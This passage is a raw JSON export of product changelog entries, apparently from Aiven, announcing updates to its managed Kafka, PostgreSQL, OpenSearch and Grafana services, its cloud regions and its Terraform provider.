page"},{"_key":"18fb3da7-5ebe-4af6-9a2c-2b063c58c016","_type":"span","marks":[],"text":" and "},{"_key":"b3a9e261-c3c8-4f2e-a126-eb07576087dc","_type":"span","marks":["m209699949420"],"text":"help article"},{"_key":"ca6176bc-2c4a-4e64-8a54-09e02896f2c6","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m5543125622834","_type":"link","href":"https://aiven.io/cassandra"},{"_key":"m209699949420","_type":"link","href":"https://help.aiven.io/cassandra/getting-started-with-aiven-cassandra"}],"style":"normal"}],"publishedAt":"2018-11-08T00:00:00.000Z","tags":[{"_key":"b48c786b-f98b-46db-aeaf-63f505d46b87","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"Aiven for Apache Cassandra is now generally available"} {"_createdAt":"2022-10-27T09:03:43Z","_i18n_lang":"en","_id":"e809c06a-ee69-4e92-8518-673ba8a013b2","_rev":"MEha5B96IszmAjyiiUpLgt","_type":"changelog","_updatedAt":"2022-10-27T09:03:43Z","changeType":"","publishedAt":"2021-09-06T00:00:00.000Z","tags":[{"_key":"bd7668aa-c08b-4b5d-a893-50401cc2e1c0","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Add option to user configuration that allows user to change maximum number of redis databases"} {"_createdAt":"2022-10-27T09:03:03Z","_i18n_lang":"en","_id":"e8e5a8d0-cda2-419b-8576-4bdb1d3c8010","_rev":"uVO3nVvSuHH0nc1h0MTVNU","_type":"changelog","_updatedAt":"2022-10-27T09:03:03Z","changeType":"","description":[{"_key":"80369c1c-d479-4a5e-a128-03ee67aee224","_type":"block","children":[{"_key":"7fd88f3c-a273-413a-997c-13d94990d764","_type":"span","marks":[],"text":"See "},{"_key":"827b7576-0080-4ec7-a84d-2559facbcc0b","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"eca2b6a3-9fb7-4bad-9848-1bde3127d9c3","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2022-02-09T00:00:00.000Z","tags":[{"_key":"247605d5-4f71-4f70-b14c-b74a5820d970","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 14.2, 13.6, 12.10, 11.15 and 10.20"} {"__i18n_lang":"en","_createdAt":"2023-07-13T12:05:12Z","_id":"e915e43c-4e4d-4777-926d-c56bf8953ae6","_rev":"7XVZ09pFVUXWSWXVXNMgH6","_type":"changelog","_updatedAt":"2023-08-23T08:19:26Z","changeType":"new","description":[{"_key":"3fd5a760934d","_type":"block","children":[{"_key":"f2f02729b50f0","_type":"span","marks":[],"text":"As part of the continued updates for the organizations and units in Aiven, the "},{"_key":"327d41cd467d","_type":"span","marks":["code"],"text":"aiven_project"},{"_key":"e19e01c13786","_type":"span","marks":[],"text":" and "},{"_key":"c71a5db52b61","_type":"span","marks":["code"],"text":"aiven_billing_group"},{"_key":"3a62635de832","_type":"span","marks":[],"text":" resources now have a "},{"_key":"f517248e1c00","_type":"span","marks":["code"],"text":"parent_id"},{"_key":"09f57be9e23a","_type":"span","marks":[],"text":" field, letting you associate your projects and billing groups to your organization in Aiven. The "},{"_key":"d42678b6f886","_type":"span","marks":["code"],"text":"parent_id"},{"_key":"a6bbe18810aa","_type":"span","marks":[],"text":" field accepts the organization ID and account ID. However, the "},{"_key":"d5f800369805","_type":"span","marks":["code"],"text":"account_id"},{"_key":"956213bde135","_type":"span","marks":[],"text":" field in these resources will be removed in the next major release."}],"markDefs":[],"style":"normal"},{"_key":"b3c8d89fd8b3","_type":"block","children":[{"_key":"969ffb70a0c20","_type":"span","marks":[],"text":"A new resource, "},{"_key":"6cf01d80e6cb","_type":"span","marks":["code"],"text":"aiven_organization_user"},{"_key":"01bda5a02e16","_type":"span","marks":[],"text":" has also been added for managing users at the organization level. "}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-07-13T09:00:00.000Z","tags":[{"_key":"e1850b0fe14f","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Aiven Provider for Terraform version 4.7.0 now available"} {"_createdAt":"2022-10-27T09:10:37Z","_i18n_lang":"en","_id":"e91e4fb7-676f-47a4-940b-1811ce39d882","_rev":"ncjVtEY290Sap8rHbFwlL8","_type":"changelog","_updatedAt":"2022-10-27T09:10:37Z","changeType":"","publishedAt":"2018-02-20T00:00:00.000Z","tags":[{"_key":"18f2edde-e8c2-435a-9a6e-aa7e3bda405e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"00e022e6-3da4-45ff-9554-6d320d10a857","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"}],"title":"The prices of medium and larger PostgreSQL plans (Startup-16 and above) in AWS were lowered by up to 40% in most regions."} {"_createdAt":"2022-10-27T09:10:50Z","_i18n_lang":"en","_id":"ea25a0a7-1433-4e5e-8e97-ec4807d27800","_rev":"GNtcCQgxf3P3DqpLt1kH7F","_type":"changelog","_updatedAt":"2022-10-27T09:10:50Z","changeType":"","description":[{"_key":"d4f82da5-9d41-4d92-8b62-cd217aa60edd","_type":"block","children":[{"_key":"a6bcd249-cd4e-4659-98dc-8b19d6878b49","_type":"span","marks":[],"text":"Virginia, Oregon, Ireland and London) for greatly improved performance"}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-01-19T00:00:00.000Z","tags":[{"_key":"8149b52d-bb1b-4b40-9a2d-fc52f65b48d1","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"}],"title":"New Aiven services now utilize the `m5` instance types in Amazon Web Services regions where they are available (N"} {"_createdAt":"2022-10-27T09:08:09Z","_i18n_lang":"en","_id":"eae73587-21b8-4262-85ea-a1df4fe1cff8","_rev":"RS2LhK1JP0SKK0JvX1QvT1","_type":"changelog","_updatedAt":"2022-10-27T09:08:09Z","changeType":"","publishedAt":"2019-08-08T00:00:00.000Z","tags":[{"_key":"f58fb15a-d80b-4479-934e-a0989b93a974","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.4.1."} {"_createdAt":"2022-10-27T09:02:17Z","_i18n_lang":"en","_id":"eb24c91f-f23c-4e71-a1ad-231b9dc35cda","_rev":"7JYD5XroFCjaK9NJzk3hay","_type":"changelog","_updatedAt":"2022-10-27T09:02:17Z","changeType":"","description":[{"_key":"6c7945a3-cfe7-4442-a248-82aec4f4c6c1","_type":"block","children":[{"_key":"d9c9e538-3870-44e2-a7d0-a677468b4ffb","_type":"span","marks":[],"text":"Please see the "},{"_key":"292ba7c9-68f8-49be-b050-4359fd12d639","_type":"span","marks":["m16228003665127"],"text":"release notes"},{"_key":"85abc9b7-2f7b-460d-80bb-6a8dc506a241","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16228003665127","_type":"link","href":"https://downloads.apache.org/kafka/3.2.0/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2022-07-15T00:00:00.000Z","tags":[{"_key":"bacd0b8d-e386-4f74-b404-05fe720fd2f1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 3.2.0 is now available on Aiven"} {"_createdAt":"2022-10-27T09:05:54Z","_i18n_lang":"en","_id":"eb844765-215c-4fd2-b239-a9ec47a371e4","_rev":"WYf15BwQWb3V4yHfbxOZpz","_type":"changelog","_updatedAt":"2022-10-27T09:05:54Z","changeType":"","description":[{"_key":"718cc39c-ba74-4c67-9b48-dfc8b4de8a3a","_type":"block","children":[{"_key":"2d11f49f-57c4-47fe-bd2d-585188a3424e","_type":"span","marks":[],"text":"Please see the "},{"_key":"78421de9-9146-4bad-885a-5e8aa77c3c9a","_type":"span","marks":["m4926362050254"],"text":"release notes"},{"_key":"7dbf190f-93ba-40fd-8431-78fca4d78bf0","_type":"span","marks":[],"text":" and the "},{"_key":"23e66801-5b59-485e-86a0-7439199a8319","_type":"span","marks":["m12291565325647"],"text":"documentation"},{"_key":"77d01fb4-59b5-43c2-a78d-69b152375e20","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m4926362050254","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.2.1"},{"_key":"m12291565325647","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/tree/v6.2.1"}],"style":"normal"}],"publishedAt":"2020-10-09T00:00:00.000Z","tags":[{"_key":"c9ecf942-211d-4ce7-ba8f-e8a8990e6da6","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.2.1"} {"_createdAt":"2022-10-27T09:11:24Z","_i18n_lang":"en","_id":"ebf1343c-d673-41e2-b022-107a0336b9ba","_rev":"WYf15BwQWb3V4yHfbxPmzL","_type":"changelog","_updatedAt":"2022-10-27T09:11:24Z","changeType":"","publishedAt":"2017-08-29T00:00:00.000Z","tags":[{"_key":"06abc168-807d-455a-b3e7-1bb2d4d3e8b6","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for alexanderzobnin-zabbix-app plugin."} {"__i18n_lang":"en","_createdAt":"2022-11-16T15:04:11Z","_id":"f90f19f6-28a9-453a-8d26-a08c7d2a42e9","_rev":"dx9VpnpAU1u8lA4yGgKnby","_type":"changelog","_updatedAt":"2022-12-13T09:04:16Z","changeType":"new","description":[{"_key":"9903c65bfc55","_type":"block","children":[{"_key":"dc200f1b920c0","_type":"span","marks":[],"text":"aws-me-central-1 has been added as the second Amazon Web Services (AWS) Middle East (ME) region where Aiven services are supported (on top of the existing aws-me-south-1). Now you can select the new aws-me-central-1 region when "},{"_key":"dc200f1b920c1","_type":"span","marks":["a8485d34d109"],"text":"creating a service"},{"_key":"dc200f1b920c2","_type":"span","marks":[],"text":" or as a target region when "},{"_key":"dc200f1b920c3","_type":"span","marks":["a6bb7a23f1f0"],"text":"migrating your service"},{"_key":"dc200f1b920c4","_type":"span","marks":[],"text":". More flexibility in selecting cloud regions means better cloud computing experience, higher resources availability, and improved data security. For the full list of the supported regions, see "},{"_key":"dc200f1b920c5","_type":"span","marks":["a206af28053a"],"text":"List of available cloud regions"},{"_key":"dc200f1b920c6","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a8485d34d109","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/create_new_service.html"},{"_key":"a6bb7a23f1f0","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/migrate-services-cloud-region.html"},{"_key":"a206af28053a","_type":"link","href":"https://docs.aiven.io/docs/platform/reference/list_of_clouds.html"}],"style":"normal"}],"publishedAt":"2022-11-01T15:04:00.000Z","tags":[{"_key":"2687a72d33c2","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"}],"title":"Added support for the Amazon Web Services (AWS) me-central-1 Middle East region"} {"__i18n_lang":"en","_createdAt":"2023-08-16T14:53:16Z","_id":"ec90638a-4b85-4b11-85d6-0744f313c763","_rev":"B2qRym1lObpfgwjNwcFq49","_type":"changelog","_updatedAt":"2023-08-16T14:53:16Z","changeType":"new","description":[{"_key":"1318072aa730","_type":"block","children":[{"_key":"f4c7f1ef6cd60","_type":"span","marks":[],"text":"We are excited to announce the addition of cluster configuration backups to Aiven for Apache Kafka®. This feature automatically backs up key settings, including topic configurations, Schema Registry details, and Apache Kafka® Connect setups. Stored in the cloud and updated every 3 hours, these backups ensure you can swiftly restore your Kafka® service following any disruptions. For details, refer to our "},{"_key":"8c17ab06e337","_type":"span","marks":["281ef4db3e35"],"text":"Configuration backups documentation"},{"_key":"4b0092ee9a66","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"281ef4db3e35","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/concepts/configuration-backup"}],"style":"normal"}],"publishedAt":"2023-08-16T14:49:40.164Z","tags":[{"_key":"91af1d273cd0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Cluster configuration backups now available on Aiven for Apache Kafka®"} {"_createdAt":"2022-10-27T09:04:33Z","_i18n_lang":"en","_id":"ed0b0fd5-06e0-46d6-9f9e-5c2a28c68b25","_rev":"zF7BMhNhvYpWtPMfHNMr7i","_type":"changelog","_updatedAt":"2022-10-27T09:04:33Z","changeType":"","description":[{"_key":"86528e91-6e64-46e7-9891-71fc7232b94a","_type":"block","children":[{"_key":"41ea0296-09a0-4f54-b9e6-77062963d712","_type":"span","marks":[],"text":"Please see the "},{"_key":"ec74cd11-f2ca-46a7-8cfc-6f532b404b13","_type":"span","marks":["m6879088378265"],"text":"release notes"},{"_key":"940dbeaf-79bf-4902-adc8-48a17aaf30dd","_type":"span","marks":[],"text":" and the "},{"_key":"0c39089e-b9b1-4c69-bc7d-b75295f69df7","_type":"span","marks":["m7124510919983"],"text":"documentation"},{"_key":"e3ee19e0-6448-482b-9942-1e617398f58b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6879088378265","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms/releases/tag/v1.3.0"},{"_key":"m7124510919983","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms/blob/v1.3.0/README.md"}],"style":"normal"}],"publishedAt":"2021-04-28T00:00:00.000Z","tags":[{"_key":"8008f376-4578-4429-8ad7-bfba1a1b24db","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven collection of single message transformations (SMTs) for Kafka Connect has been updated to version 1.3.0"} {"_createdAt":"2022-10-27T09:02:40Z","_i18n_lang":"en","_id":"ed3c4c59-7c8f-427f-9f17-26389cd5efce","_rev":"avO8DZ6Ky9k3TDzRfU5cvp","_type":"changelog","_updatedAt":"2022-10-27T09:02:40Z","changeType":"","description":[{"_key":"a032dccb-69b8-4bb9-8bda-db68a405c0e9","_type":"block","children":[{"_key":"a57eba6b-7806-4378-a6d7-8556de00abb4","_type":"span","marks":[],"text":"Please see the "},{"_key":"07e1ab98-7cea-4b0e-88cb-65013b0cb35f","_type":"span","marks":["m7174793404253"],"text":"documentation"},{"_key":"f7d83592-3591-4ef8-9686-611bf78fe40d","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7174793404253","_type":"link","href":"https://github.com/confluentinc/kafka-connect-bigquery/blob/v2.2.2/README.md"}],"style":"normal"}],"publishedAt":"2022-05-12T00:00:00.000Z","tags":[{"_key":"d32dcaab-4b1e-425b-af8f-fb42cfb38ed6","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect sink connector for Google BigQuery version has been updated to version 2.2.2"} {"_createdAt":"2022-10-27T09:11:15Z","_i18n_lang":"en","_id":"ed7af947-ca8a-471b-b907-3bbb94920929","_rev":"Dn65xz5Z1k22g7BhlztOEx","_type":"changelog","_updatedAt":"2022-10-27T09:11:15Z","changeType":"","publishedAt":"2017-10-03T00:00:00.000Z","tags":[],"title":"Added support for kuromoji analysis plugin for Aiven for Elasticsearch 5.x versions."} {"_createdAt":"2022-10-27T09:08:41Z","_i18n_lang":"en","_id":"edc9ec87-c2db-49ff-b4ba-159aaec1c73e","_rev":"ri8ZjU8zRgh6Niwltv1DRX","_type":"changelog","_updatedAt":"2022-10-27T09:08:41Z","changeType":"","publishedAt":"2019-04-17T00:00:00.000Z","tags":[{"_key":"0a075ced-4ae7-4096-a9ee-9af53ab565a0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 2.2 is now available on Aiven."} {"__i18n_lang":"en","_createdAt":"2023-05-23T12:45:33Z","_id":"eea9a3b7-2c06-41c9-a45c-d80d50e558fa","_rev":"dsxJlHxlnt5nZt5n1rILBs","_type":"changelog","_updatedAt":"2023-06-06T13:13:19Z","changeType":"improved","description":[{"_key":"7b0cf5797d0b","_type":"block","children":[{"_key":"c0d8e0b6ef3e0","_type":"span","marks":[],"text":"The invoices view has been enhanced to make it easier to see the status of your payments. You can also find all of your invoices in one place in the billing section instead of viewing each separately in the billing groups. Invoices can be filtered by the billing group and time period."}],"markDefs":[],"style":"normal"},{"_key":"305725eb98b5","_type":"block","children":[{"_key":"4d4b0d308a7c","_type":"span","marks":[],"text":"More information on billing is available in the "},{"_key":"f44afc26b27c","_type":"span","marks":["4d71f2fec8be"],"text":"documentation"},{"_key":"2be77eb60698","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"4d71f2fec8be","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/list-billing"}],"style":"normal"}],"publishedAt":"2023-06-06T13:12:00.000Z","tags":[{"_key":"a170a5cf03f9","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Improved invoices view"} {"_createdAt":"2022-10-27T09:02:34Z","_i18n_lang":"en","_id":"f94e038c-307d-4881-92da-10626dfee03a","_rev":"HEiYk6nGjmUICadcDbSQIH","_type":"changelog","_updatedAt":"2022-10-27T09:02:34Z","changeType":"","description":[{"_key":"3b3b9e46-0deb-4ce3-ae2f-06de2fbd739a","_type":"block","children":[{"_key":"d44c9705-6063-46b0-99d7-e2290dc83258","_type":"span","marks":[],"text":"Please see the "},{"_key":"e182ec2c-152e-4191-894c-252c9da7de2f","_type":"span","marks":["m11507326120794"],"text":"release notes"}],"markDefs":[{"_key":"m11507326120794","_type":"link","href":"https://github.com/aiven/http-connector-for-apache-kafka/releases/tag/v0.6.0"}],"style":"normal"}],"publishedAt":"2022-05-29T00:00:00.000Z","tags":[{"_key":"fc7b03b7-8bc3-4356-a350-cf2a1e7b0f38","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink HTTP connector has been updated to version 0.6.0"} {"__i18n_lang":"en","_createdAt":"2024-08-14T13:24:51Z","_id":"eeeaf0fa-b49d-458b-b26b-6d9a674a604e","_rev":"s0dP0dEg2u16GKIcfk568f","_type":"changelog","_updatedAt":"2024-08-14T13:34:55Z","changeType":"improved","description":[{"_key":"7d6c65ed3f71","_type":"block","children":[{"_key":"8e215c6120860","_type":"span","marks":[],"text":"Aiven for Apache Kafka® now allows you to individually enable or disable SASL mechanisms (PLAIN, SCRAM-SHA-256, SCRAM-SHA-512) using the "},{"_key":"1a044505465c","_type":"span","marks":["code"],"text":"kafka_sasl_mechanisms"},{"_key":"c3cceb17c0a8","_type":"span","marks":[],"text":" advanced configuration. By default, all mechanisms are enabled. Configure these settings only if you need to disable specific mechanisms.\n\nFor more information, see the "},{"_key":"1884f5e4b189","_type":"span","marks":["99647f325411"],"text":"Enable and configure SASL authentication documentation"},{"_key":"2080a7a94c01","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"99647f325411","_type":"link","href":"https://aiven.io/docs/products/kafka/howto/kafka-sasl-auth"}],"style":"normal"}],"publishedAt":"2024-08-14T13:34:48.627Z","tags":[{"_key":"96252dc3ef72","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Conditional enablement of Apache Kafka SASL mechanisms"} {"_createdAt":"2022-10-27T09:11:11Z","_i18n_lang":"en","_id":"ef22c7e1-4eee-401a-9fbd-780b5a637a06","_rev":"ri8ZjU8zRgh6Niwltv1ExZ","_type":"changelog","_updatedAt":"2022-10-27T09:11:11Z","changeType":"","description":[{"_key":"a9dc9930-d55d-4bf5-95a4-cd3108d205ca","_type":"block","children":[{"_key":"e3ef1071-9c24-4eb5-b77f-7f7a052718ad","_type":"span","marks":[],"text":"The addition of volume support to these regions has made it possible to support larger plan types."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-10-13T00:00:00.000Z","tags":["DigitalOcean"],"title":"DigitalOcean: add support for larger plan types in Bangalore and London regions"} {"_createdAt":"2022-10-27T09:06:04Z","_i18n_lang":"en","_id":"f02d95e3-65f2-48ee-a9e9-05f2bdc6e548","_rev":"GNtcCQgxf3P3DqpLt1jUWj","_type":"changelog","_updatedAt":"2022-10-27T09:06:04Z","changeType":"","publishedAt":"2020-09-02T00:00:00.000Z","tags":[{"_key":"90fd0ab3-3642-49ab-b4e4-535ae42c6f64","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.7.3."} {"_createdAt":"2022-10-27T09:05:35Z","_i18n_lang":"en","_id":"f06ac05f-2e90-4313-a428-77fa06d1da29","_rev":"WYf15BwQWb3V4yHfbxOVWt","_type":"changelog","_updatedAt":"2022-10-27T09:05:35Z","changeType":"","description":[{"_key":"394b180a-aefc-4ab2-8933-e3ce9fda4712","_type":"block","children":[{"_key":"06d6aac0-3be5-4c7f-8ff7-1eea83229f82","_type":"span","marks":[],"text":"Please see the "},{"_key":"b5482210-b788-47d8-aefb-b4f31be7c04b","_type":"span","marks":["m10932629343150"],"text":"changelog"},{"_key":"0c7cd330-94bd-4260-a83c-335dc656a4ef","_type":"span","marks":[],"text":" and "},{"_key":"1cba0c05-24fe-40fa-bf49-7604c79e61c4","_type":"span","marks":["m5010763679471"],"text":"documentation"},{"_key":"6cf39eaa-d704-4bf3-82ee-fb8936b90681","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m10932629343150","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/releases/tag/v2.8.0"},{"_key":"m5010763679471","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/tree/v2.8.0"}],"style":"normal"}],"publishedAt":"2020-12-03T00:00:00.000Z","tags":[{"_key":"cca73ae0-1ac8-4484-b425-96f07e0f72cf","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka S3 Sink Connector has been updated to version 2.8.0"} {"__i18n_lang":"en","_createdAt":"2023-05-12T11:15:14Z","_id":"f0a5792c-9ece-4e40-b25b-72e1126f9490","_rev":"ZguNxh1j7N84eEhLybpLz2","_type":"changelog","_updatedAt":"2023-05-12T13:17:22Z","changeType":"new","description":[{"_key":"da5bc6bdee05","_type":"block","children":[{"_key":"1806069061d50","_type":"span","marks":[],"text":"Introducing the PostgreSQL CDC Connector for Aiven for Apache Flink. Using this connector, you can track and capture precise row-level changes in your PostgreSQL® database using the Change Data Capture (CDC) technology, seamlessly stream and process real-time data alterations from your PostgreSQL databases with this connector. Integrated with the Debezium engine, the PostgreSQL CDC connector captures changes at a granular level for each table within an event stream."}],"markDefs":[],"style":"normal"},{"_key":"4070bd9d8e40","_type":"block","children":[{"_key":"047164fa90250","_type":"span","marks":[],"text":"To learn more, see "},{"_key":"047164fa90251","_type":"span","marks":["20938f7611d8"],"text":"Create a PostgreSQL® CDC connector-based Apache Flink®"},{"_key":"047164fa90252","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"20938f7611d8","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/pg-cdc-connector"}],"style":"normal"}],"publishedAt":"2023-05-12T11:15:00.000Z","tags":[{"_key":"80eda768444c","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Integrate PostgreSQL CDC Connector with Aiven for Apache Flink®"} {"_createdAt":"2022-10-27T09:09:28Z","_i18n_lang":"en","_id":"f13a9803-d562-4f8a-9a1a-1c86a11b6f96","_rev":"zF7BMhNhvYpWtPMfHNNpEc","_type":"changelog","_updatedAt":"2022-10-27T09:09:28Z","changeType":"","description":[{"_key":"146a2cf1-c737-43c2-951a-b961ccaa58f3","_type":"block","children":[{"_key":"5b42f6e3-4f6d-4e3b-bfbf-215f54fad470","_type":"span","marks":[],"text":"For help on the new functionality please see our help "},{"_key":"5c2b8542-a12b-44ce-af55-214746ba07b9","_type":"span","marks":["m14796404544035"],"text":"article"}],"markDefs":[{"_key":"m14796404544035","_type":"link","href":"https://help.aiven.io/postgresql/how-to-perform-a-postgresql-in-place-major-version-upgrade"}],"style":"normal"}],"publishedAt":"2018-11-02T00:00:00.000Z","tags":[{"_key":"34fb34ba-6f61-45f0-b554-0c43ccaca0b3","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL now supports in-place major version upgrades, greatly speeding up the time needed for an upgrade"} {"_createdAt":"2022-10-27T09:09:44Z","_i18n_lang":"en","_id":"f2b150fd-7f12-46cf-8fe2-141e8f959b8c","_rev":"LZdZtpADiowz8bkvB6nicl","_type":"changelog","_updatedAt":"2022-10-27T09:09:44Z","changeType":"","description":[{"_key":"72931ca1-c067-4315-a20f-728df20cf35c","_type":"block","children":[{"_key":"6c09f665-f41a-41cd-8dea-0bb09b1c70ca","_type":"span","marks":[],"text":"Please see the "},{"_key":"333c921e-cf3d-478e-b724-96d94fe96d67","_type":"span","marks":["m2358895570318"],"text":"release notes"},{"_key":"9992cbee-ea65-4beb-bb4f-6d6739212d29","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m2358895570318","_type":"link","href":"https://community.grafana.com/t/release-notes-v5-2-x/7894"}],"style":"normal"}],"publishedAt":"2018-09-05T00:00:00.000Z","tags":[{"_key":"502f6b0d-da7a-4823-a156-c2cb6c5dfb12","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.2.3"} {"_createdAt":"2022-10-27T09:06:09Z","_i18n_lang":"en","_id":"f2ca4c09-68cf-460b-abcc-54a49179508b","_rev":"RS2LhK1JP0SKK0JvX1QYt1","_type":"changelog","_updatedAt":"2022-10-27T09:06:09Z","changeType":"","description":[{"_key":"2449388c-5a6f-421c-9dd4-e9bfcbd0dbbf","_type":"block","children":[{"_key":"b05f0fe8-ccdc-479b-a4e2-8013fc42e58d","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"f36f09ff-191a-4400-ba99-fbd96b6bad08","_type":"span","marks":["m2277957723643"],"text":"Elasticsearch 7.8.1"},{"_key":"4b3cf34e-bab0-45e3-a419-5e20bd735d8f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m2277957723643","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-7.8.1.html"}],"style":"normal"}],"publishedAt":"2020-08-17T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch new minor version 7.8.1 is now available"} {"_createdAt":"2022-10-27T09:04:40Z","_i18n_lang":"en","_id":"f666ca8c-dfbd-4d60-9967-f0e9b13727dc","_rev":"G4qVVLRzbD2hZSG98TuGtv","_type":"changelog","_updatedAt":"2022-10-27T09:04:40Z","changeType":"","description":[{"_key":"dba1e54f-7f12-4f09-ab4d-b531b95bb410","_type":"block","children":[{"_key":"38df779d-7939-48d5-b83a-05221d1004b0","_type":"span","marks":[],"text":"Please see the "},{"_key":"4e6af811-3e88-4fcd-a5bc-3d5761fa6816","_type":"span","marks":["m3923875791860"],"text":"changelog"},{"_key":"6a643e97-767a-4a8e-ade0-5b48614adf18","_type":"span","marks":[],"text":" and "},{"_key":"d4b4ae05-b8cd-4f2e-9412-bb888477f900","_type":"span","marks":["m12824618345557"],"text":"documentation"},{"_key":"289f97c2-607d-4dea-87ba-5ced13961596","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3923875791860","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/releases/tag/v0.7.0"},{"_key":"m12824618345557","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/tree/v0.7.0"}],"style":"normal"}],"publishedAt":"2021-04-03T00:00:00.000Z","tags":[{"_key":"ebdc6cb5-b037-40da-b2ad-a36e9cd0d97a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka GCS Sink Connector has been updated to version 0.7.0"} {"_createdAt":"2022-10-27T09:09:30Z","_i18n_lang":"en","_id":"f793b880-6be3-4a34-9452-6fa012719dda","_rev":"tsRucK8MIVb3810duaE6OW","_type":"changelog","_updatedAt":"2022-10-27T09:09:30Z","changeType":"","description":[{"_key":"61a59620-96e4-4f3c-a3a2-b12ae80eeadb","_type":"block","children":[{"_key":"733a6191-55a1-4e50-87ab-46f39b583cf8","_type":"span","marks":[],"text":"The new instance type is available for 64 GB and larger plans."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-10-30T00:00:00.000Z","tags":[{"_key":"ae13b01e-3fb7-49e9-8d52-98b8ee3fcb15","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"cda7324a-b3c9-431a-ac53-eeff295b355d","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"hostProvider"}],"title":"Many Azure regions now utilize the L instance types for Aiven for PostgreSQL plans improving their performance and lowering the price"} {"__i18n_lang":"en","_createdAt":"2022-12-16T15:01:29Z","_id":"f3b61884-6189-48e7-b90b-09f48ef50a32","_rev":"IiYi5XVNmR5WYQ23CFZQAj","_type":"changelog","_updatedAt":"2022-12-22T10:46:50Z","changeType":"new","description":[{"_key":"175bda11ae80","_type":"block","children":[{"_key":"d9ae5287cf910","_type":"span","marks":[],"text":"You can configure Aiven for OpenSearch to send metrics for index_stats, pshard_stats, and pending_task_stats by setting the value opensearch.index_stats_enabled, opensearch.pshard_stats_enabled or opensearch_pending_tasks_stats_enabled to True in the user-config JSON of the Datadog integration via the "},{"_key":"d9ae5287cf911","_type":"span","marks":["367296da3a3c"],"text":"Aiven CLI"},{"_key":"d9ae5287cf912","_type":"span","marks":[],"text":". For more information on configuring and sending metrics from your Aiven service and Datadog, see 